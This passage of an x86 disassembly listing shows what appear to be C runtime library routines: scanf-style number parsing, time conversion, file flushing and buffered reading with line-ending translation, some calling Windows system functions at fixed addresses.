		pop	ecx
		call	sub_41DC70
		jmp	short loc_41B021
; ---------------------------------------------------------------------------


loc_41B012:				; CODE XREF: sub_41A824+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_417860


loc_41B021:				; CODE XREF: sub_41A824+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_41B027:				; CODE XREF: sub_41A824+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41B03F
		dec	[ebp+var_C]
		jz	short loc_41B063


loc_41B03F:				; CODE XREF: sub_41A824+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41AF80
; ---------------------------------------------------------------------------


loc_41B055:				; CODE XREF: sub_41A824+788j
					; sub_41A824+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B29A
		pop	ecx
		pop	ecx


loc_41B063:				; CODE XREF: sub_41A824+756j
					; sub_41A824+819j
		cmp	[ebp+var_17], 0
		jz	loc_41B149
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41B149
; ---------------------------------------------------------------------------


loc_41B085:				; CODE XREF: sub_41A824+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41B141


loc_41B08F:				; CODE XREF: sub_41A824+90Aj
		cmp	esi, 78h
		jz	short loc_41B0D3
		cmp	esi, 70h
		jz	short loc_41B0D3
		cmp	dword_43B7AC, 1
		jle	short loc_41B0AE
		push	4
		push	ebx
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41B0B9
; ---------------------------------------------------------------------------


loc_41B0AE:				; CODE XREF: sub_41A824+87Cj
		mov	eax, off_43B5A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B0B9:				; CODE XREF: sub_41A824+888j
		test	eax, eax
		jz	short loc_41B133
		cmp	esi, 6Fh
		jnz	short loc_41B0CC
		cmp	ebx, 38h
		jge	short loc_41B133
		shl	edi, 3
		jmp	short loc_41B10B
; ---------------------------------------------------------------------------


loc_41B0CC:				; CODE XREF: sub_41A824+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41B10B
; ---------------------------------------------------------------------------


loc_41B0D3:				; CODE XREF: sub_41A824+86Ej
					; sub_41A824+873j
		cmp	dword_43B7AC, 1
		jle	short loc_41B0EB
		push	80h
		push	ebx
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41B0F8
; ---------------------------------------------------------------------------


loc_41B0EB:				; CODE XREF: sub_41A824+8B6j
		mov	eax, off_43B5A0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41B0F8:				; CODE XREF: sub_41A824+8C5j
		test	eax, eax
		jz	short loc_41B133
		push	ebx
		shl	edi, 4
		call	sub_41B249
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41B10B:				; CODE XREF: sub_41A824+8A6j
					; sub_41A824+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41B11D
		dec	[ebp+var_C]
		jz	short loc_41B141


loc_41B11D:				; CODE XREF: sub_41A824+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41B08F
; ---------------------------------------------------------------------------


loc_41B133:				; CODE XREF: sub_41A824+897j
					; sub_41A824+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B29A
		pop	ecx
		pop	ecx


loc_41B141:				; CODE XREF: sub_41A824+865j
					; sub_41A824+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41B149
		neg	edi


loc_41B149:				; CODE XREF: sub_41A824+843j
					; sub_41A824+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41B152
		and	[ebp+var_1C], 0


loc_41B152:				; CODE XREF: sub_41A824+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41B22A
		cmp	[ebp+var_E], 0
		jnz	short loc_41B18B
		inc	[ebp+var_34]


loc_41B165:				; CODE XREF: sub_41A824+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41B17B
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41B18B
; ---------------------------------------------------------------------------


loc_41B17B:				; CODE XREF: sub_41A824+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41B188
		mov	[eax], edi
		jmp	short loc_41B18B
; ---------------------------------------------------------------------------


loc_41B188:				; CODE XREF: sub_41A824+95Ej
		mov	[eax], di


loc_41B18B:				; CODE XREF: sub_41A824+241j
					; sub_41A824+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41B1D8
; ---------------------------------------------------------------------------


loc_41B196:				; CODE XREF: sub_41A824+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41B205
		mov	ecx, off_43B5A0
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41B1D8
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41B213
		dec	[ebp+var_4]


loc_41B1D8:				; CODE XREF: sub_41A824+970j
					; sub_41A824+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41B1EE
		cmp	byte ptr [esi],	25h
		jnz	short loc_41B230
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41B230
		mov	esi, eax


loc_41B1EE:				; CODE XREF: sub_41A824+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41A84E
		jmp	short loc_41B22A
; ---------------------------------------------------------------------------


loc_41B1FA:				; CODE XREF: sub_41A824+1F4j
					; sub_41A824+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41B20A
; ---------------------------------------------------------------------------


loc_41B205:				; CODE XREF: sub_41A824+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_41B20A:				; CODE XREF: sub_41A824+9DFj
		call	sub_41B29A
		pop	ecx
		pop	ecx
		jmp	short loc_41B22A
; ---------------------------------------------------------------------------


loc_41B213:				; CODE XREF: sub_41A824+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41B29A
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41B29A
		add	esp, 10h


loc_41B22A:				; CODE XREF: sub_41A824+1Fj
					; sub_41A824+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41B241


loc_41B230:				; CODE XREF: sub_41A824+9BDj
					; sub_41A824+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41B244
		cmp	[ebp+var_15], al
		jnz	short loc_41B244
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B244
; ---------------------------------------------------------------------------


loc_41B241:				; CODE XREF: sub_41A824+A0Aj
		mov	eax, [ebp+var_34]


loc_41B244:				; CODE XREF: sub_41A824+A11j
					; sub_41A824+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A824	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B249	proc near		; CODE XREF: sub_41A824+7A3p
					; sub_41A824+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43B7AC, 1
		push	esi
		jle	short loc_41B263
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41B272
; ---------------------------------------------------------------------------


loc_41B263:				; CODE XREF: sub_41B249+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43B5A0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B272:				; CODE XREF: sub_41B249+18j
		test	eax, eax
		jnz	short loc_41B27C
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_41B27C:				; CODE XREF: sub_41B249+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41B249	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B280	proc near		; CODE XREF: sub_41A824+1E1p
					; sub_41A824+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41B292
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41B292:				; CODE XREF: sub_41B280+7j
		push	edx
		call	sub_41B582
		pop	ecx
		retn
sub_41B280	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B29A	proc near		; CODE XREF: sub_41A824+6Bp
					; sub_41A824+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41B2B0
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DC8F
		pop	ecx
		pop	ecx

locret_41B2B0:				; CODE XREF: sub_41B29A+5j
		retn
sub_41B29A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B2B1	proc near		; CODE XREF: sub_41A824+63p
					; sub_41A824+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_41B2B7:				; CODE XREF: sub_41B2B1+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41B280
		mov	edi, eax
		push	edi
		call	sub_41DC3D
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B2B7
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41B2B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B2D5	proc near		; CODE XREF: sub_418000+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41B391
		cmp	ebx, 8Ah
		jg	loc_41B391
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43BEE4[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41B314
		cmp	edi, 2
		jle	short loc_41B314
		inc	esi


loc_41B314:				; CODE XREF: sub_41B2D5+37j
					; sub_41B2D5+3Cj
		call	sub_41DCFD
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43BE00
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41B387
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41B38D
		cmp	dword_43BE04, 0
		jz	short loc_41B38D
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41DF70
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41B38D


loc_41B387:				; CODE XREF: sub_41B2D5+90j
		add	ecx, dword_43BE08


loc_41B38D:				; CODE XREF: sub_41B2D5+96j
					; sub_41B2D5+9Fj ...
		mov	eax, ecx
		jmp	short loc_41B394
; ---------------------------------------------------------------------------


loc_41B391:				; CODE XREF: sub_41B2D5+13j
					; sub_41B2D5+1Fj
		or	eax, 0FFFFFFFFh


loc_41B394:				; CODE XREF: sub_41B2D5+BAj
		pop	ebx
		leave
		retn
sub_41B2D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B397	proc near		; CODE XREF: sub_4180DC+2Ap
					; sub_41E476+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_516C80
		jnb	loc_41B431
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:516B80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41B431
		push	edi
		call	sub_41E3E2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B410
		cmp	edi, 1
		jz	short loc_41B3DE
		cmp	edi, 2
		jnz	short loc_41B3F4


loc_41B3DE:				; CODE XREF: sub_41B397+40j
		push	2
		call	sub_41E3E2
		push	1
		mov	ebp, eax
		call	sub_41E3E2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41B410


loc_41B3F4:				; CODE XREF: sub_41B397+45j
		push	edi
		call	sub_41E3E2
		pop	ecx
		push	eax
		nop
		call	near ptr 7C809B47h
		test	eax, eax
		jnz	short loc_41B410
		nop
		call	near ptr 7C910331h
		mov	ebp, eax
		jmp	short loc_41B412
; ---------------------------------------------------------------------------


loc_41B410:				; CODE XREF: sub_41B397+3Bj
					; sub_41B397+5Bj ...
		xor	ebp, ebp


loc_41B412:				; CODE XREF: sub_41B397+77j
		push	edi
		call	sub_41E368
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41B42D
		push	ebp
		call	sub_41C91A
		pop	ecx
		jmp	short loc_41B442
; ---------------------------------------------------------------------------


loc_41B42D:				; CODE XREF: sub_41B397+8Bj
		xor	eax, eax
		jmp	short loc_41B445
; ---------------------------------------------------------------------------


loc_41B431:				; CODE XREF: sub_41B397+Ej
					; sub_41B397+2Fj
		and	dword_515888, 0
		mov	dword_515884, 9


loc_41B442:				; CODE XREF: sub_41B397+94j
		or	eax, 0FFFFFFFFh


loc_41B445:				; CODE XREF: sub_41B397+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B397	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B44A	proc near		; CODE XREF: sub_4180DC+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41B473
		test	al, 8
		jz	short loc_41B473
		push	dword ptr [esi+8]
		call	sub_417C62
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41B473:				; CODE XREF: sub_41B44A+Aj
					; sub_41B44A+Ej
		pop	esi
		retn
sub_41B44A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B475	proc near		; CODE XREF: sub_41B515+2Dp
					; sub_41B515+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41B487
		push	esi
		call	sub_41B515
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B487:				; CODE XREF: sub_41B475+7j
		push	esi
		call	sub_41B4B0
		test	eax, eax
		pop	ecx
		jz	short loc_41B497
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B497:				; CODE XREF: sub_41B475+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41B4AC
		push	dword ptr [esi+10h]
		call	sub_41E41F
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B475+26j
		xor	eax, eax
		pop	esi
		retn
sub_41B475	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4B0	proc near		; CODE XREF: sub_4180DC+1Ap
					; sub_4183EE+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41B4FD
		test	ax, 108h
		jz	short loc_41B4FD
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41B4FD
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41BE4F
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41B4F6
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41B4FD
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41B4FD
; ---------------------------------------------------------------------------


loc_41B4F6:				; CODE XREF: sub_41B4B0+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41B4FD:				; CODE XREF: sub_41B4B0+14j
					; sub_41B4B0+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41B4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B50C	proc near		; CODE XREF: sub_41D677p
		push	1
		call	sub_41B515
		pop	ecx
		retn
sub_41B50C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B515	proc near		; CODE XREF: sub_41B475+Ap
					; sub_41B50C+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_516B60, esi
		jle	short loc_41B573


loc_41B526:				; CODE XREF: sub_41B515+5Cj
		mov	eax, dword_515B4C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41B56A
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41B56A
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41B550
		push	eax
		call	sub_41B475
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B56A
		inc	ebx
		jmp	short loc_41B56A
; ---------------------------------------------------------------------------


loc_41B550:				; CODE XREF: sub_41B515+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41B56A
		test	cl, 2
		jz	short loc_41B56A
		push	eax
		call	sub_41B475
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41B56A
		or	edi, eax


loc_41B56A:				; CODE XREF: sub_41B515+1Bj
					; sub_41B515+23j ...
		inc	esi
		cmp	esi, dword_516B60
		jl	short loc_41B526


loc_41B573:				; CODE XREF: sub_41B515+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41B57E
		mov	eax, edi


loc_41B57E:				; CODE XREF: sub_41B515+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41B515	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B582	proc near		; CODE XREF: sub_418132+A9p
					; sub_4186EC+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41B656
		test	al, 40h
		jnz	loc_41B656
		test	al, 2
		jz	short loc_41B5A8
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41B656
; ---------------------------------------------------------------------------


loc_41B5A8:				; CODE XREF: sub_41B582+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41B5BC
		push	esi
		call	sub_41D568
		pop	ecx
		jmp	short loc_41B5C1
; ---------------------------------------------------------------------------


loc_41B5BC:				; CODE XREF: sub_41B582+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41B5C1:				; CODE XREF: sub_41B582+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41B65B
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41B645
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B645
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41B61A
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41B603
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_516B80[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41B608
; ---------------------------------------------------------------------------


loc_41B603:				; CODE XREF: sub_41B582+6Bj
		mov	edi, offset dword_43BAD0


loc_41B608:				; CODE XREF: sub_41B582+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41B61A
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41B61A:				; CODE XREF: sub_41B582+62j
					; sub_41B582+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41B637
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41B637
		test	ch, 4
		jnz	short loc_41B637
		mov	dword ptr [esi+18h], 1000h


loc_41B637:				; CODE XREF: sub_41B582+9Fj
					; sub_41B582+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B645:				; CODE XREF: sub_41B582+55j
					; sub_41B582+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41B656:				; CODE XREF: sub_41B582+Aj
					; sub_41B582+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41B582	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B65B	proc near		; CODE XREF: sub_418132+90p
					; sub_41B582+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_516C80
		jnb	loc_41B838
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:516B80h[eax*4]
		mov	eax, dword_516B80[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41B838
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41B710
		test	dl, 2
		jnz	short loc_41B710
		test	dl, 48h
		jz	short loc_41B6D0
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41B6D0
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41B6D0:				; CODE XREF: sub_41B65B+56j
					; sub_41B65B+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 7C80180Eh
		test	eax, eax
		jnz	short loc_41B723
		nop
		call	near ptr 7C910331h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41B70B
		mov	dword_515884, 9
		mov	dword_515888, ecx
		jmp	loc_41B849
; ---------------------------------------------------------------------------


loc_41B70B:				; CODE XREF: sub_41B65B+99j
		cmp	eax, 6Dh
		jnz	short loc_41B717


loc_41B710:				; CODE XREF: sub_41B65B+4Cj
					; sub_41B65B+51j
		xor	eax, eax
		jmp	loc_41B84C
; ---------------------------------------------------------------------------


loc_41B717:				; CODE XREF: sub_41B65B+B3j
		push	eax
		call	sub_41C91A
		pop	ecx
		jmp	loc_41B849
; ---------------------------------------------------------------------------


loc_41B723:				; CODE XREF: sub_41B65B+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41B833
		test	edx, edx
		jz	short loc_41B748
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41B748
		or	al, 4
		jmp	short loc_41B74A
; ---------------------------------------------------------------------------


loc_41B748:				; CODE XREF: sub_41B65B+E2j
					; sub_41B65B+E7j
		and	al, 0FBh


loc_41B74A:				; CODE XREF: sub_41B65B+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41B82D


loc_41B762:				; CODE XREF: sub_41B65B+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41B81D
		cmp	al, 0Dh
		jz	short loc_41B77E
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41B80F
; ---------------------------------------------------------------------------


loc_41B77E:				; CODE XREF: sub_41B65B+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41B79C
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41B793
		add	[ebp+arg_8], 2
		jmp	short loc_41B7F1
; ---------------------------------------------------------------------------


loc_41B793:				; CODE XREF: sub_41B65B+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41B80F
; ---------------------------------------------------------------------------


loc_41B79C:				; CODE XREF: sub_41B65B+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 7C80180Eh
		test	eax, eax
		jnz	short loc_41B7C4
		nop
		call	near ptr 7C910331h
		test	eax, eax
		jnz	short loc_41B80B


loc_41B7C4:				; CODE XREF: sub_41B65B+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41B80B
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41B7E6
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41B7F1
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41B80F
; ---------------------------------------------------------------------------


loc_41B7E6:				; CODE XREF: sub_41B65B+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41B7F6
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41B7F6


loc_41B7F1:				; CODE XREF: sub_41B65B+136j
					; sub_41B65B+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41B80E
; ---------------------------------------------------------------------------


loc_41B7F6:				; CODE XREF: sub_41B65B+18Ej
					; sub_41B65B+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41BA39
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41B80F


loc_41B80B:				; CODE XREF: sub_41B65B+167j
					; sub_41B65B+16Dj
		mov	byte ptr [edi],	0Dh


loc_41B80E:				; CODE XREF: sub_41B65B+199j
		inc	edi


loc_41B80F:				; CODE XREF: sub_41B65B+11Ej
					; sub_41B65B+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41B762
		jmp	short loc_41B82D
; ---------------------------------------------------------------------------


loc_41B81D:				; CODE XREF: sub_41B65B+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41B82D
		or	al, 2
		mov	[esi], al


loc_41B82D:				; CODE XREF: sub_41B65B+101j
					; sub_41B65B+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41B833:				; CODE XREF: sub_41B65B+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41B84C
; ---------------------------------------------------------------------------


loc_41B838:				; CODE XREF: sub_41B65B+12j
					; sub_41B65B+39j
		and	dword_515888, 0
		mov	dword_515884, 9


loc_41B849:				; CODE XREF: sub_41B65B+ABj
					; sub_41B65B+C3j
		or	eax, 0FFFFFFFFh


loc_41B84C:				; CODE XREF: sub_41B65B+B7j
					; sub_41B65B+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B65B	endp


